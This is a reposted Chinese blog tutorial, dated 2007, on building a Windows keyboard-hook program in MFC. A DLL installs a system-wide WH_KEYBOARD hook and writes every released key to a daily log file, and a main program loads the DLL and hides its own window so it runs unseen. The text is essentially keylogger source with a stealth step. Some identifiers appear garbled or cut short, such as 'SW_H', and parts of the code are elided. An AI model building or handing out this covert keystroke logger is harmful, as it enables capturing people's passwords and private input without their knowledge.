利用鍵盤鉤子在Windows平臺下捕獲鍵盤動作 (轉)

worldblog發表於2007-12-08
利用鍵盤鉤子在Windows平臺下捕獲鍵盤動作 (轉)[@more@]

利用鍵盤鉤子在平臺下捕獲鍵盤動作


資訊產業部電子第二十二研究所青島分所 郎銳 01-5-24 下午 02:50:39


一、引言 我們可以在應用中毫不費力的捕獲在本程式視窗上所進行的鍵盤操作,但如果我們想要將此程式作成一個程式,捕獲在Windows平臺下任意視窗上的鍵盤操作,就需要藉助於全域性鉤子來實現了。 二、鉤子和DLL 鉤子的本質是一段用以處理系統訊息的程式,透過系統,將其掛入系統。鉤子的種類有很多,每種鉤子可以截獲並處理相應的訊息,每當特定的訊息發出,在到達目的視窗之前,鉤子程式先行截獲該訊息、得到對此訊息的控制權。此時在鉤子中就可以對截獲的訊息進行加工處理,甚至可以強制結束訊息的傳遞。 在本程式中我們需要捕獲在任意視窗上的鍵盤輸入,這就需要採用全域性鉤子以便攔截整個系統的訊息,而全域性鉤子函式必須以DLL(動態連線庫)為載體進行封裝,VC6中有三種形式的MFC DLL可供選擇,即Regular statically linked to MFC DLL(標準靜態連結MFC DLL)、Regular using the shared MFC DLL(標準動態連結MFC DLL)以及Extension MFC DLL(擴充套件MFC DLL)。 在本程式中為方便起見採用了標準靜態連線MFC DLL。 三、鍵盤鉤子程式示例 本示例程式用到全域性鉤子函式,程式分兩部分:可程式KeyHook和動態連線庫LaunchDLL。 1、首先編制MFC擴充套件動態連線庫LaunchDLL.dll: (1)選擇MFC AppWizard(DLL)建立專案LaunchDLL;在接下來的選項中選擇Regular statically linked to MFC DLL(標準靜態連結MFC DLL)。 (2)在LaunchDLL.h中新增宏定義和待匯出函式的宣告: #define DllExport __declspec(dllexport) …… DllExport void WIN InstallLaunchEv(); …… class CLaunchDLLApp : public CWinApp { public: CLaunchDLLApp(); ? //{{AFX_VIRTUAL(CLaunchDLLApp) //}}AFX_VIRTUAL ? //{{AFX_MSG(CLaunchDLLApp) // NOTE - the ClassWizard will add and remove member functions here. // DO NOT EDIT what you see in these blocks of generated code ! //}}AFX_MSG DECLARE_MESSAGE_MAP() }; (3)在LaunchDLL.cpp中新增全域性變數Hook和全域性函式LauncherHook、SaveLog: HHOOK Hook; LRESULT CALLBACK LauncherHook(int nCode,WPARAM wParam,LPARAM lParam); void SaveLog(char* c); (4)完成以上提到的這幾個函式的實現部分: …… CLaunchDLLApp theApp; …… DllExport void WINAPI InstallLaunchEv() { Hook=(HHOOK)SetWindowsHookEx(WH_KEYBOARD, (HOOKPROC)LauncherHook, theApp.m_hInstance, 0); } 在此我們實現了Windows的系統鉤子的,首先要呼叫SDK中的API函式SetWindowsHookEx來安裝這個鉤子函式,其原型是: HHOOK SetWindowsHookEx(int idHook, HOOKPROC lpfn, HINSTANCE hMod, D dwThreadId); 其中,第一個引數指定鉤子的型別,常用的有WH_MOUSE、WH_KEYBOARD、WH_GETMESSAGE等,在此我們只關心鍵盤操作所以設定為WH_KEYBOARD;第二個引數標識鉤子函式的入口地址,當鉤子鉤到任何訊息後便呼叫這個函式,即當不管系統的哪個視窗有鍵盤輸入馬上會引起LauncherHook的動作;第三個引數是鉤子函式所在模組的控制程式碼,我們可以很簡單的設定其為本應用程式的例項控制程式碼;最後一個引數是鉤子相關函式的ID用以指定想讓鉤子去鉤哪個執行緒,為0時則攔截整個系統的訊息,在本程式中鉤子需要為全域性鉤子,故設定為0。 …… LRESULT CALLBACK LauncherHook(int nCode,WPARAM wParam,LPARAM lParam) { LRESULT Result=CallNextHookEx(Hook,nCode,wParam,lParam); if(nCode==HC_ACTION) { if(lParam & 0x80000000) { char c[1]; c[0]=wParam; SaveLog(c); } } return Result; } 雖然呼叫CallNextHookEx()是可選的,但呼叫此函式的習慣是很值得推薦的;否則的話,其他安裝了鉤子的應用程式將不會接收到鉤子的通知而且還有可能產生不正確的結果,所以我們應儘量呼叫該函式除非絕對需要阻止其他程式獲取通知。 …… void SaveLog(char* c) { CTime tm=CTime::GetCurrentTime(); CString name; name.Format("c:Key_%d_%d.log",tm.GetMonth(),tm.GetDay()); CFile file; if(!file.Open(name,CFile::modeReadWrite)) { file.Open(name,CFile::modeCreate|CFile::modeReadWrite); } file.SeekToEnd(); file.Write(c,1); file.Close(); } 當有鍵彈起的時候就透過此函式將剛彈起的鍵儲存到記錄中從而實現對鍵盤進行監控記錄的目的。 編譯完成便可得到執行時所需的鍵盤鉤子的動態連線庫LaunchDLL.dll和進行靜態連結時用到的LaunchDLL.lib。 2、下面開始編寫呼叫此動態連線庫的主程式,並實現最後的整合: (1)用MFC的AppWizard(EXE)建立專案KeyHook; (2)選擇單文件,其餘幾步可均為確省; (3)把LaunchDLL.h和LaunchDLL.lib複製到KeyHook工程目錄中,LaunchDLL.dll複製到De目錄下。 (4)連結DLL庫,即在"Project","Settings…"的"Link"屬性頁內,在"/librarymodules:"中填入"LaunchDLL.lib"。再透過"Project","Add To Project","Files…"將LaunchDLL.h新增到工程中來,最後在視類的原始檔KeyHook.cpp中加入對其的引用: #include "LaunchDLL.h" 這樣我們就可以象使用本工程內的 函式一樣使用動態連線庫LaunchDLL.dll中的所有匯出函式了。 (5)在視類中新增虛擬函式OnInitialUpdate(),並新增程式碼完成對鍵盤鉤子的安裝: …… InstallLaunchEv(); …… (6)到此為止其實已經完成了所有的功能,但作為一個後臺監控,執行時並不希望有介面,可以在應用程式類CkeyHookApp的InitInstance()函式中將m_pMainWnd->ShowWindow(SW_SHOW);改為m_pMainWnd->ShowWindow(SW_H);即可。 四、執行與檢測 編譯執行程式,執行起來之後並無什麼現象,但透過Alt+Ctrl+Del在關閉程式對話方塊內可以找到我們剛編寫完畢的程式"KeyHook",隨便在什麼程式中透過鍵盤輸入字元,然後開啟記錄檔案,我們會發現:透過鍵盤鉤子,我們剛才輸入的字元都被記錄到記錄檔案中了。 小結:系統鉤子具有相當強大的功能,透過這種技術可以對幾乎所有的Windows系統訊息進行攔截、監視、處理。這種技術廣泛應用於各種自動監控系統中。

來自 “ ITPUB部落格 ” ,連結:http://blog.itpub.net/10752043/viewspace-989744/,如需轉載,請註明出處,否則將追究法律責任。

相關文章